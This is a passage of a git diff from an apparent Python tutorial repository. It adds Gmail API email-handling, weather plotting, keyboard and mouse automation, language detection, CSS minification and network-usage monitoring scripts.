= payload.get(\"parts\")\n", + " folder_name = \"email\"\n", + " has_subject = False\n", + " if headers:\n", + " # this section prints email basic info & creates a folder for the email\n", + " for header in headers:\n", + " name = header.get(\"name\")\n", + " value = header.get(\"value\")\n", + " if name.lower() == 'from':\n", + " # we print the From address\n", + " print(\"From:\", value)\n", + " if name.lower() == \"to\":\n", + " # we print the To address\n", + " print(\"To:\", value)\n", + " if name.lower() == \"subject\":\n", + " # make our boolean True, the email has \"subject\"\n", + " has_subject = True\n", + " # make a directory with the name of the subject\n", + " folder_name = clean(value)\n", + " # we will also handle emails with the same subject name\n", + " folder_counter = 0\n", + " while os.path.isdir(folder_name):\n", + " folder_counter += 1\n", + " # we have the same folder name, add a number next to it\n", + " if folder_name[-1].isdigit() and folder_name[-2] == \"_\":\n", + " folder_name = f\"{folder_name[:-2]}_{folder_counter}\"\n", + " elif folder_name[-2:].isdigit() and folder_name[-3] == \"_\":\n", + " folder_name = f\"{folder_name[:-3]}_{folder_counter}\"\n", + " else:\n", + " folder_name = f\"{folder_name}_{folder_counter}\"\n", + " os.mkdir(folder_name)\n", + " print(\"Subject:\", value)\n", + " if name.lower() == \"date\":\n", + " # we print the date when the message was sent\n", + " print(\"Date:\", value)\n", + " if not has_subject:\n", + " # if the email does not have a subject, then make a folder with \"email\" name\n", + " # since folders are created based on subjects\n", + " if not os.path.isdir(folder_name):\n", + " os.mkdir(folder_name)\n", + " parse_parts(service, parts, folder_name, message)\n", + " print(\"=\"*50)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# get emails that match the query you specify\n", + "results = search_messages(service, \"Python Code\")\n", + "print(f\"Found {len(results)} results.\")\n", + "# for each email matched, read it (output plain/text to console & save HTML and attachments)\n", + "for msg in results:\n", + " read_message(service, msg)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def mark_as_read(service, query):\n", + " messages_to_mark = search_messages(service, query)\n", + " print(f\"Matched emails: {len(messages_to_mark)}\")\n", + " return service.users().messages().batchModify(\n", + " userId='me',\n", + " body={\n", + " 'ids': [ msg['id'] for msg in messages_to_mark ],\n", + " 'removeLabelIds': ['UNREAD']\n", + " }\n", + " ).execute()\n", + "\n", + "def mark_as_unread(service, query):\n", + " messages_to_mark = search_messages(service, query)\n", + " print(f\"Matched emails: {len(messages_to_mark)}\")\n", + " return service.users().messages().batchModify(\n", + " userId='me',\n", + " body={\n", + " 'ids': [ msg['id'] for msg in messages_to_mark ],\n", + " 'addLabelIds': ['UNREAD']\n", + " }\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mark_as_read(service, \"Google\")\n", + "# search query by sender/receiver\n", + "mark_as_unread(service, \"from: email@domain.com\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def delete_messages(service, query):\n", + " messages_to_delete = search_messages(service, query)\n", + " print(f\"Deleting {len(messages_to_delete)} emails.\")\n", + " # it's possible to delete a single message with the delete API, like this:\n", + " # service.users().messages().delete(userId='me', id=msg['id'])\n", + " # but it's also possible to delete all the selected messages with one query, batchDelete\n", + " return service.users().messages().batchDelete(\n", + " userId='me',\n", + " body={\n", + " 'ids': [ msg['id'] for msg in messages_to_delete]\n", + " }\n", + " ).execute()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "delete_messages(service, \"Google Alerts\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.12" + }, + "vscode": { + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + } + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/general/interactive-weather-plot/README.md b/general/interactive-weather-plot/README.md new file mode 100644 index 00000000..95a39719 --- /dev/null +++ b/general/interactive-weather-plot/README.md @@ -0,0 +1 @@ +# [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests) \ No newline at end of file diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py new file mode 100644 index 00000000..3d1ea566 --- /dev/null +++ b/general/interactive-weather-plot/interactive_weather_plot.py @@ -0,0 +1,89 @@ +import matplotlib.pyplot as plt +from matplotlib.widgets import RadioButtons +import seaborn +seaborn.set_style("darkgrid") +import requests +import json + +# Define some Locations to choose from. +# Latitude and Longitude +locations = { + 'Schaffhausen': ['47.7', '8.6'], + 'Sydney': ['-33.86', '151.20'], + 'Kyiv': ['50.4422', '30.5367'], + 'Constantine': ['36.368258', '6.560254'], + 'Yakutsk': ['62.0', '129.7'], +} + +# Setting Up Matplotlib, using the OOP Approach +fig, ax = plt.subplots() +# the plot is created with the first location +p = None + +# make a function to get the temperatures of a given location +def getTemperatures(location): + # get the lat and long of the location + lat, lon = locations[location] + req = requests.get(f'https://api.open-meteo.com/v1/forecast?latitude={lat}&longitude={lon}&hourly=temperature_2m') + req = json.loads(req.text) + # get the tempratures + temperatures = req['hourly']['temperature_2m'] + # get the times + times = req['hourly']['time'] + return times, temperatures + + +# Make a dictionary with the locations as keys and the getTemperatures() function as values +location2data = {} +for location in locations: + location2data[location] = getTemperatures(location) + + +def changeLocation(newLocation): + global p + # get the data of the location from the dictionary + times, temperatures = location2data[newLocation] + if p: + p.set_ydata(temperatures) + # reflect changes in the plot + plt.draw() + else: + # Make a Plot and save the first object to a variable + # p will be a Line2D object which can be changed at a later time + p = ax.plot(times, temperatures, ls=':', lw=3)[0] + # set the x-axis to the times + xRange = list(range(0, 168, 24)) + [168] + ax.set_xticks(xRange) + # set the y-axis to the temperatures + yRange = list(range(-20, 55, 5)) + ax.set_yticks(yRange) + plt.tick_params(axis="both", which='both', labelrotation=-10) # rotate the labels + # set the title + ax.set_title('Temperatures in ' + newLocation) + + +# Call the change Location function for the first time +changeLocation('Schaffhausen') + +# Making the Radio Buttons +buttons = RadioButtons( + ax=plt.axes([0.1, 0.1, 0.2, 0.2]), + labels=list(locations.keys()) +) + +# Connect click event on the buttons to the function that changes location. +buttons.on_clicked(changeLocation) + +# adjust the plot size +plt.subplots_adjust(left=0.1, bottom=0.40) + +# Label the Plot +ax.set_xlabel('Times [Next Seven Days]') +# ax.xaxis.label.set_color(labelColor) + +ax.set_ylabel('Temperatures [Celcius]') +# ax.yaxis.label.set_color(labelColor) + +plt.savefig('file.svg', format='svg') + +plt.show() diff --git a/general/interactive-weather-plot/requirements.txt b/general/interactive-weather-plot/requirements.txt new file mode 100644 index 00000000..25920cf9 --- /dev/null +++ b/general/interactive-weather-plot/requirements.txt @@ -0,0 +1,3 @@ +matplotlib +seaborn +requests \ No newline at end of file diff --git a/general/keyboard-controller/control_keyboard.py b/general/keyboard-controller/control_keyboard.py index c8388c01..4f362731 100644 --- a/general/keyboard-controller/control_keyboard.py +++ b/general/keyboard-controller/control_keyboard.py @@ -2,7 +2,7 @@ # registering a hotkey that replaces one typed text with another # replaces every "@email" followed by a space with my actual email -keyboard.add_abbreviation("@email", "rockikz@thepythoncode.com") +keyboard.add_abbreviation("@email", "email@domain.com") # invokes a callback everytime a hotkey is pressed keyboard.add_hotkey("ctrl+alt+p", lambda: print("CTRL+ALT+P Pressed!")) @@ -10,9 +10,21 @@ # check if a ctrl is pressed print(keyboard.is_pressed('ctrl')) -# press space +# press and release space keyboard.send("space") +# multi-key, windows+d as example shows the desktop in Windows machines +keyboard.send("windows+d") + +# send ALT+F4 in the same time, and then send space, +# (be carful, this will close any current open window) +keyboard.send("alt+F4, space") + +# press CTRL button +keyboard.press("ctrl") +# release the CTRL button +keyboard.release("ctrl") + # sends artificial keyboard events to the OS # simulating the typing of a given text # setting 0.1 seconds to wait between keypresses to look fancy @@ -22,6 +34,11 @@ events = keyboard.record('esc') # play these events keyboard.play(events) +# print all typed strings in the events +print(list(keyboard.get_typed_strings(events))) + +# log all pressed keys +keyboard.on_release(lambda e: print(e.name)) # remove all keyboard hooks in use keyboard.unhook_all() diff --git a/general/language-detector/README.md b/general/language-detector/README.md new file mode 100644 index 00000000..bc090744 --- /dev/null +++ b/general/language-detector/README.md @@ -0,0 +1 @@ +# [How to Make a Language Detector Using Python](https://www.thepythoncode.com/article/language-detector-in-python) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_1.py b/general/language-detector/language_detector_cli_1.py new file mode 100644 index 00000000..b828c6d0 --- /dev/null +++ b/general/language-detector/language_detector_cli_1.py @@ -0,0 +1,35 @@ +"""" + THIS SCRIPT IS USING langdetect +""" + +# import the detect function from langdetect +from langdetect import detect + +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') + +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() + +# a function for detection language +def detect_langauage(sentence, n): + """try and except block for catching exception errors""" + # the try will run when everything is ok + try: + # checking if the sentence[n] exists + if sentences[n]: + # creating a new variable, the strip() function removes newlines + new_sentence = sentences[n].strip('\n') + print(f'The language for the sentence "{new_sentence}" is {detect(new_sentence)}') + # this will catch all the errors that occur + except: + print(f'Sentence does not exist') + +# printing the the number of sentences in the sentences.txt +print(f'You have {len(sentences)} sentences') + +# this will prompt the user to enter an integer +number_of_sentence = int(input('Which sentence do you want to detect?(Provide an integer please):')) + +# calling the detect_langauage function +detect_langauage(sentences_file, number_of_sentence) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_2.py b/general/language-detector/language_detector_cli_2.py new file mode 100644 index 00000000..10bcce2f --- /dev/null +++ b/general/language-detector/language_detector_cli_2.py @@ -0,0 +1,19 @@ +"""" + THIS SCRIPT IS USING langid +""" +import langid + +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') + +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() + +# looping through all the sentences in thesentences.txt file +for sentence in sentences: + # detecting the languages for the sentences + lang = langid.classify(sentence) + # formatting the sentence by removing the newline characters + formatted_sentence = sentence.strip('\n') + + print(f'The sentence "{formatted_sentence}" is in {lang[0]}') \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_3.py b/general/language-detector/language_detector_cli_3.py new file mode 100644 index 00000000..dcaf5b10 --- /dev/null +++ b/general/language-detector/language_detector_cli_3.py @@ -0,0 +1,35 @@ +"""" + THIS SCRIPT IS USING googletrans +""" +# importing the Translator function from googletrans +from googletrans import Translator + +# initializing the translator object +translator = Translator() +# openning the txt file in read mode +sentences_file = open('sentences.txt', 'r') +# creating a list of sentences using the readlines() function +sentences = sentences_file.readlines() +# a function for detection language +def detect_langauage(sentence, n): + """try and except block for catching exception errors""" + # the try will run when everything is ok + try: + # checking if the sentence[n] exists + if sentences[n]: + # creating a new variable, the strip() function removes newlines + new_sentence = sentences[n].strip('\n') + # detecting the sentence language using the translator.detect() + # .lang extract the language code + detected_sentence_lang = translator.detect(new_sentence).lang + print(f'The language for the sentence "{new_sentence}" is {detected_sentence_lang}') + # this will catch all the errors that occur + except: + print(f'Make sure the sentence exists or you have internet connection') + + +print(f'You have {len(sentences)} sentences') +# this will prompt the user to enter an integer +number_of_sentence = int(input('Which sentence do you want to detect?(Provide an integer please):')) +# calling the detect_langauage function +detect_langauage(sentences_file, number_of_sentence) \ No newline at end of file diff --git a/general/language-detector/language_detector_cli_4.py b/general/language-detector/language_detector_cli_4.py new file mode 100644 index 00000000..a8259854 --- /dev/null +++ b/general/language-detector/language_detector_cli_4.py @@ -0,0 +1,32 @@ +"""" + THIS SCRIPT IS USING language_detector +""" +# importing the language detector +from language_detector import detect_language + +# definig the function for detecting the language +# the function takes text as an argument +def detectLanguage(text): + # detecting the language using the detect_language function + language = detect_language(text) + print(f'"{text}" is written in {language}') + +# an infinite while while loop +while True: + + # this will prompt the user to enter options + option = input('Enter 1 to detect language or 0 to exit:') + + if option == '1': + # this will prompt the user to enter the text + data = input('Enter your sentence or word here:') + # calling the detectLanguage function + detectLanguage(data) + + # if option is 0 break the loop + elif option == '0': + print('Quitting........\nByee!!!') + break + # if option isnt 1 or 0 then its invalid + else: + print('Wrong input, try again!!!') \ No newline at end of file diff --git a/general/language-detector/requirements.txt b/general/language-detector/requirements.txt new file mode 100644 index 00000000..8351b405 --- /dev/null +++ b/general/language-detector/requirements.txt @@ -0,0 +1,4 @@ +googletrans==3.1.0a0 +langdetect==1.0.9 +langid==1.1.6 +language-detector==5.0.2 diff --git a/general/language-detector/sentences.txt b/general/language-detector/sentences.txt new file mode 100644 index 00000000..fe612537 --- /dev/null +++ b/general/language-detector/sentences.txt @@ -0,0 +1,5 @@ +I love programming, Python is my favorite language. +أحب البرمجة ، بايثون هي لغتي المفضلة. +我喜欢编程，Python 是我最喜欢的语言。 +Me encanta programar, Python es mi lenguaje favorito. +Eu amo programar, Python é minha linguagem favorita. \ No newline at end of file diff --git a/general/minify-css/README.md b/general/minify-css/README.md new file mode 100644 index 00000000..43c5beb1 --- /dev/null +++ b/general/minify-css/README.md @@ -0,0 +1,7 @@ +# [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python) +To run this: +- `pip install -r requirements.txt`. +- Put your CSS file in the `style` folder. +- Put your HTML file in the current (root) folder. +- Run `python minimize.py` +- A new file will appear named `min.css` in the current working folder. \ No newline at end of file diff --git a/general/minify-css/index.html b/general/minify-css/index.html new file mode 100644 index 00000000..2889e299 --- /dev/null +++ b/general/minify-css/index.html @@ -0,0 +1,19 @@ + + + + + + + Document + + +
+
+ +
+
+ +
+
+ + \ No newline at end of file diff --git a/general/minify-css/minimize.py b/general/minify-css/minimize.py new file mode 100644 index 00000000..37c6dadf --- /dev/null +++ b/general/minify-css/minimize.py @@ -0,0 +1,119 @@ +import cssutils +import re +import logging +import os +import time +cssutils.log.setLevel(logging.CRITICAL) + +startTime = time.time() +os.system('cls') + +def getFilesByExtension(ext, root): + foundFiles = [] + for root, directories, files in os.walk(root): + for f in files: + if f.endswith(ext): + # os.path.join(root, f) is the full path to the file + foundFiles.append(os.path.join(root, f)) + return foundFiles + + +def flattenStyleSheet(sheet): + ruleList = [] + for rule in sheet.cssRules: + if rule.typeString == 'MEDIA_RULE': + ruleList += rule.cssRules + elif rule.typeString == 'STYLE_RULE': + ruleList.append(rule) + return ruleList + + +def findAllCSSClasses(): + usedClasses = {} + # Find all used classes + for htmlFile in htmlFiles: + with open(htmlFile, 'r') as f: + htmlContent = f.read() + regex = r'class="(.*?)"' + # re.DOTALL is needed to match newlines + matched = re.finditer(regex, htmlContent, re.MULTILINE | re.DOTALL) + # matched is a list of re.Match objects + for i in matched: + for className in i.groups()[0].split(' '): # i.groups()[0] is the first group in the regex + usedClasses[className] = '' + return list(usedClasses.keys()) + + +def translateUsedClasses(classList): + for i, usedClass in enumerate(classList): + for translation in translations: + # If the class is found in the translations list, replace it + regex = translation[0] + subst = translation[1] + if re.search(regex, usedClass): + # re.sub() replaces the regex with the subst + result = re.sub(regex, subst, usedClass, 1, re.MULTILINE) # 1 is the max number of replacements + # Replace the class in the list + classList[i] = result + return classList + + +htmlFiles = getFilesByExtension('.html', '.') + +cssFiles = getFilesByExtension('.css', 'style') + +# Use Translations if the class names in the Markup dont exactly +# match the CSS Selector ( Except for the dot at the begining. ) +translations = [ + [ + '@', + '\\@' + ], + [ + r"(.*?):(.*)", + r"\g<1>\\:\g<2>:\g<1>", + ], + [ + r"child(.*)", + "child\\g<1> > *", + ], +] + +usedClasses = findAllCSSClasses() +usedClasses = translateUsedClasses(usedClasses) + +output = 'min.css' + +newCSS = '' + +for cssFile in cssFiles: + # Parse the CSS File + sheet = cssutils.parseFile(cssFile) + rules = flattenStyleSheet(sheet) + noClassSelectors = [] + for rule in rules: + for usedClass in usedClasses: + if '.' + usedClass == rule.selectorText: + # If the class is used in the HTML, add it to the new CSS + usedClasses.remove(usedClass) # Remove the class from the list + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + if rule.selectorText[0] != '.' and not rule.selectorText in noClassSelectors: + # If the selector doesnt start with a dot and is not already in the list, + # add it + noClassSelectors.append(rule.selectorText) + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + +newCSS = newCSS.replace('\n', '') +newCSS = newCSS.replace(' ', '') + +with open(output, 'w') as f: + f.write(newCSS) + + +print('TIME TOOK: ', time.time() - startTime) \ No newline at end of file diff --git a/general/minify-css/requirements.txt b/general/minify-css/requirements.txt new file mode 100644 index 00000000..ccb53693 --- /dev/null +++ b/general/minify-css/requirements.txt @@ -0,0 +1 @@ +cssutils \ No newline at end of file diff --git a/general/minify-css/style/style.css b/general/minify-css/style/style.css new file mode 100644 index 00000000..8ce26542 --- /dev/null +++ b/general/minify-css/style/style.css @@ -0,0 +1,15 @@ +.page { + color: pink +} + +.article { + font-size: 1rem; +} + +.button { + padding: 1rem; +} + +body { + font-family: 'Lucida Sans', sans-serif; +} \ No newline at end of file diff --git a/general/minify-css/text.md b/general/minify-css/text.md new file mode 100644 index 00000000..f42d5303 --- /dev/null +++ b/general/minify-css/text.md @@ -0,0 +1,200 @@ +# Minify CSS with Python +**Learn how to utilize cssutils to minimize CSS files in a Web Project** + + +## Idea + +In this article, we will make a python program that will search for classes used in all HTML files in a project and it will then search and compile these files from the CSS files. The program will serve a specific purpose as it will match classes strictly; which means `bg-black` won't `bg-black:hover`, The used classes have to appear in the stylesheets as they are used. This way of minimizing is useful for utility classes such as `width-800px` or `color-grey-800` that only change on the property. Now maybe your utility classes also entail something like this pattern: `child-margin-2rem` which in the stylesheet is actually `child-margin-2rem > *`, this won't match by default but we will make it possible to replace such patterns with the appropriate selector. Finally, you can change the code so the minified works better for your case or you could even redo it on your own with the knowledge gained. + +We will utilize a CSS Library called CSSUtils that allows us to parse, read and write CSS. + +## Imports + +Let's start with the Modules and Libraries we have to import for our little program. The most important will be `cssutils` which has to be downloaded with `pip install cssutils`. We also want to import `re`, `os`, `time`. We get the logging module simply to turn off logging because cssutils throws a lot of errors. We then clear the console with `os.system` and we save the start time of the program to a variable. + +```py +import cssutils +import re +import logging +import os +import time +cssutils.log.setLevel(logging.CRITICAL) + +startTime = time.time() +os.system('cls') +``` + +## Getting the Files + +Firstly we get lists of files ending in `.html` and `.css`. We save these lists for later. + +```py +htmlFiles = getFilesByExtension('.html', '.') + +cssFiles = getFilesByExtension('.css', 'style') +``` + +Let's also go over the function that searches for all these files. keep in mind it has to be defined before its usage. Here we use the `walk` function of `os` which receives a path and it will return data about each subdirectory and the directory itself. We only need the files which are the third item of the returned tuple. We loop over these and if they end with the specified extension we add them to the `foundFiles` list. Lastly, we also need to return this list. + +```py +def getFilesByExtension(ext, root): + foundFiles = [] + + for root, directories, files in os.walk(root): + + for f in files: + + if f.endswith(ext): + foundFiles.append(os.path.join(root, f)) +``` + +## Finding all used Classes + +Next up we want to find all used classes in all HTML files that were found. To do this we first create a dictionary to store each class name as an item. We do it this way so we don't have duplicates in the end. We then loop over all HTML files and for each one we get the content and we use a Regular Expression to find all class strings. Continuing we split each of these found strings because classes are separated by a space. Lastly, we return the found list dictionary but we return the keys which are the classes. + +```py +usedClasses = findAllCSSClasses() + +# Function, defined before +def findAllCSSClasses(): + usedClasses = {} + + # Find all used classes + for htmlFile in htmlFiles: + with open(htmlFile, 'r') as f: + htmlContent = f.read() + + regex = r'class="(.*?)"' + + matched = re.finditer(regex, htmlContent, re.MULTILINE | re.DOTALL) + + for i in matched: + + for className in i.groups()[0].split(' '): + usedClasses[className] = '' + + return list(usedClasses.keys()) +``` + +## Translating used Classes + +Now wer translate some classes, this is useful if the class name won't exactly match the selector, but it follows a pattern like all classes starting with `child-` have `> *` appended to their selector, and here we handle this. We define each translation in a list where the first item is the regex and the second is the replacement. + +```py +# Use Translations if the class names in the Markup don't exactly +# match the CSS Selector ( Except for the dot at the beginning. ) +translations = [ + [ + '@', + '\\@' + ], + [ + r"(.*?):(.*)", + r"\g<1>\\:\g<2>:\g<1>", + ], + [ + r"child(.*)", + "child\\g<1> > *", + ], +] + +usedClasses = translateUsedClasses(usedClasses) +``` + +In the function we then loop over each regex for each class, so every translation is potentially applied to each class name. We then simply apply the replacement with the `re.sub` method. + +```py +def translateUsedClasses(classList): + + for i, usedClass in enumerate(classList): + for translation in translations: + + regex = translation[0] + subst = translation[1] + + if re.search(regex, usedClass): + result = re.sub(regex, subst, usedClass, 1, re.MULTILINE) + + classList[i] = result + + return classList +``` + +## Getting used Classes from the Stylesheets + +After that, we get the style definition from the stylesheets with cssutils, before we loop over the found style sheets we first define the path of the minified CSS which in this case is `min.css` then we also create a variable called `newCSS` that will hold the new CSS content. + +```py +output = 'min.css' + +newCSS = '' +``` + +We continue by looping over all CSS files. We parse each file with `cssutils.parsefile(path)` and get all the rules in the style sheet with the custom `flattenStyleSheet()` function, we later go over how it works but it will essentially put all rules hidden inside media queries into the same list as top-level rules. then we define a list that will hold all selector names that are not classes that we encounter. We do this because something like `input` should not be left out. Then we loop over each rule and each class and if the selector and selector text of the rule match up we add the whole CSS text of the rule to the newCSS string. We simply need to watch out if the rule has a parent rule which would be a media query. We do the same thing for all the rules not starting with a dot. + +```py +for cssFile in cssFiles: + + sheet = cssutils.parseFile(cssFile) + rules = flattenStyleSheet(sheet) + + noClassSelectors = [] + + for rule in rules: + for usedClass in usedClasses: + + if '.' + usedClass == rule.selectorText: + usedClasses.remove(usedClass) + + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + + if rule.selectorText[0] != '.' and not rule.selectorText in noClassSelectors: + + noClassSelectors.append(rule.selectorText) + + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) +``` + +### `flattenstylesheet` function + +Lets quickly go over the flattenstylesheet function. It will receive the sheet and it loops over each rule in that sheet in, then it will check if the rule is simply a style rule or media rule so it can add all rules to a one-dimensional list. + +```py +def flattenStyleSheet(sheet): + ruleList = [] + + for rule in sheet.cssRules: + + if rule.typeString == 'MEDIA_RULE': + ruleList += rule.cssRules + + elif rule.typeString == 'STYLE_RULE': + ruleList.append(rule) + + return ruleList +``` + +## Saving new CSS + +Lastly, we minify the CSS further by removing linebreaks and double spaces and we save this new CSS to the specified location. + +```py +newCSS = newCSS.replace('\n', '') +newCSS = newCSS.replace(' ', '') + +with open(output, 'w') as f: + f.write(newCSS) + + +print('TIME: ', time.time() - startTime) +``` + +## Conclusion + +Excellent! You have successfully created a CSS Minifier using Python code! See how you can add more features to this program such as a config file for further options. Also keep in mind that this program could need some optimization since it runs very slow on larger projects. \ No newline at end of file diff --git a/general/mouse-controller/draw.py b/general/mouse-controller/draw.py new file mode 100644 index 00000000..7eab5a48 --- /dev/null +++ b/general/mouse-controller/draw.py @@ -0,0 +1,35 @@ +import mouse +import math +import time + +def draw_square(size): + # click and hold the left mouse button + mouse.press() + mouse.move(size, 0, absolute=False, duration=0.2) + mouse.move(0, size, absolute=False, duration=0.2) + mouse.move(-size, 0, absolute=False, duration=0.2) + mouse.move(0, -size, absolute=False, duration=0.2) + # release the left mouse button + mouse.release() + + +def draw_circle(radius): + # click and hold the left mouse button + mouse.press() + # move the mouse in a circle + for i in range(0, 360, 5): + # convert degrees to radians + angle = math.radians(i) + # calculate the x and y coordinates + x = radius * math.cos(angle) + y = radius * math.sin(angle) + # move the mouse to the calculated position + mouse.move(x, y, absolute=False, duration=0.01) + # release the left mouse button + mouse.release() + +if __name__ == "__main__": + # Place the mouse at the starting point and then call + draw_square(200) + time.sleep(1) + draw_circle(10) \ No newline at end of file diff --git a/general/network-usage/README.md b/general/network-usage/README.md new file mode 100644 index 00000000..ae68382a --- /dev/null +++ b/general/network-usage/README.md @@ -0,0 +1,3 @@ +# [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python) +To run the scripts: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/network-usage/network_usage.py b/general/network-usage/network_usage.py new file mode 100644 index 00000000..2def69ce --- /dev/null +++ b/general/network-usage/network_usage.py @@ -0,0 +1,34 @@ +import psutil +import time + +UPDATE_DELAY = 1 # in seconds + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + +# get the network I/O stats from psutil +io = psutil.net_io_counters() +# extract the total bytes sent and received +bytes_sent, bytes_recv = io.bytes_sent, io.bytes_recv + +while True: + # sleep for `UPDATE_DELAY` seconds + time.sleep(UPDATE_DELAY) + # get the stats again + io_2 = psutil.net_io_counters() + # new - old stats gets us the speed + us, ds = io_2.bytes_sent - bytes_sent, io_2.bytes_recv - bytes_recv + # print the total download/upload along with current speeds + print(f"Upload: {get_size(io_2.bytes_sent)} " + f", Download: {get_size(io_2.bytes_recv)} " + f", Upload Speed: {get_size(us / UPDATE_DELAY)}/s " + f", Download Speed: {get_size(ds / UPDATE_DELAY)}/s ", end="\r") + # update the bytes_sent and bytes_recv for next iteration + bytes_sent, bytes_recv = io_2.bytes_sent, io_2.bytes_recv + \ No newline at end of file diff --git a/general/network-usage/network_usage_per_interface.py b/general/network-usage/network_usage_per_interface.py new file mode 100644 index 00000000..03a3fa1b --- /dev/null +++ b/general/network-usage/network_usage_per_interface.py @@ -0,0 +1,47 @@ +import psutil +import time +import os +import pandas as pd + +UPDATE_DELAY = 1 # in seconds + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + +# get the network I/O stats from psutil on each network interface +# by setting `pernic` to `True` +io = psutil.net_io_counters(pernic=True) + +while True: + # sleep for `UPDATE_DELAY` seconds + time.sleep(UPDATE_DELAY) + # get the network I/O stats again per interface + io_2 = psutil.net_io_counters(pernic=True) + # initialize the data to gather (a list of dicts) + data = [] + for iface, iface_io in io.items(): + # new - old stats gets us the speed + upload_speed, download_speed = io_2[iface].bytes_sent - iface_io.bytes_sent, io_2[iface].bytes_recv - iface_io.bytes_recv + data.append({ + "iface": iface, "Download": get_size(io_2[iface].bytes_recv), + "Upload": get_size(io_2[iface].bytes_sent), + "Upload Speed": f"{get_size(upload_speed / UPDATE_DELAY)}/s", + "Download Speed": f"{get_size(download_speed / UPDATE_DELAY)}/s", + }) + # update the I/O stats for the next iteration + io = io_2 + # construct a Pandas DataFrame to print stats in a cool tabular style + df = pd.DataFrame(data) + # sort values per column, feel free to change the column + df.sort_values("Download", inplace=True, ascending=False) + # clear the screen based on your OS + os.system("cls") if "nt" in os.name else os.system("clear") + # print the stats + print(df.to_string()) + \ No newline at end of file diff --git a/general/network-usage/network_usage_per_process.py b/general/network-usage/network_usage_per_process.py new file mode 100644 index 00000000..f49f4082 --- /dev/null +++ b/general/network-usage/network_usage_per_process.py @@ -0,0 +1,154 @@ +from scapy.all import * +import psutil +from collections import defaultdict +import os +from threading import Thread +import pandas as pd + +# get the all network adapter's MAC addresses +all_macs = {iface.mac for iface in ifaces.values()} +# A dictionary to map each connection to its correponding process ID (PID) +connection2pid = {} +# A dictionary to map each process ID (PID) to total Upload (0) and Download (1) traffic +pid2traffic = defaultdict(lambda: [0, 0]) +# the global Pandas DataFrame that's used to track previous traffic stats +global_df = None +# global boolean for status of the program +is_program_running = True + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + + +def process_packet(packet): + global pid2traffic + try: + # get the packet source & destination IP addresses and ports + packet_connection = (packet.sport, packet.dport) + except (AttributeError, IndexError): + # sometimes the packet does not have TCP/UDP layers, we just ignore these packets + pass + else: + # get the PID responsible for this connection from our `connection2pid` global dictionary + packet_pid = connection2pid.get(packet_connection) + if packet_pid: + if packet.src in all_macs: + # the source MAC address of the packet is our MAC address + # so it's an outgoing packet, meaning it's upload + pid2traffic[packet_pid][0] += len(packet) + else: + # incoming packet, download + pid2traffic[packet_pid][1] += len(packet) + + +def get_connections(): + """A function that keeps listening for connections on this machine + and adds them to `connection2pid` global variable""" + global connection2pid + while is_program_running: + # using psutil, we can grab each connection's source and destination ports + # and their process ID + for c in psutil.net_connections(): + if c.laddr and c.raddr and c.pid: + # if local address, remote address and PID are in the connection + # add them to our global dictionary + connection2pid[(c.laddr.port, c.raddr.port)] = c.pid + connection2pid[(c.raddr.port, c.laddr.port)] = c.pid + # sleep for a second, feel free to adjust this + time.sleep(1) + + +def print_pid2traffic(): + global global_df + # initialize the list of processes + processes = [] + for pid, traffic in pid2traffic.items(): + # `pid` is an integer that represents the process ID + # `traffic` is a list of two values: total Upload and Download size in bytes + try: + # get the process object from psutil + p = psutil.Process(pid) + except psutil.NoSuchProcess: + # if process is not found, simply continue to the next PID for now + continue + # get the name of the process, such as chrome.exe, etc. + name = p.name() + # get the time the process was spawned + try: + create_time = datetime.fromtimestamp(p.create_time()) + except OSError: + # system processes, using boot time instead + create_time = datetime.fromtimestamp(psutil.boot_time()) + # construct our dictionary that stores process info + process = { + "pid": pid, "name": name, "create_time": create_time, "Upload": traffic[0], + "Download": traffic[1], + } + try: + # calculate the upload and download speeds by simply subtracting the old stats from the new stats + process["Upload Speed"] = traffic[0] 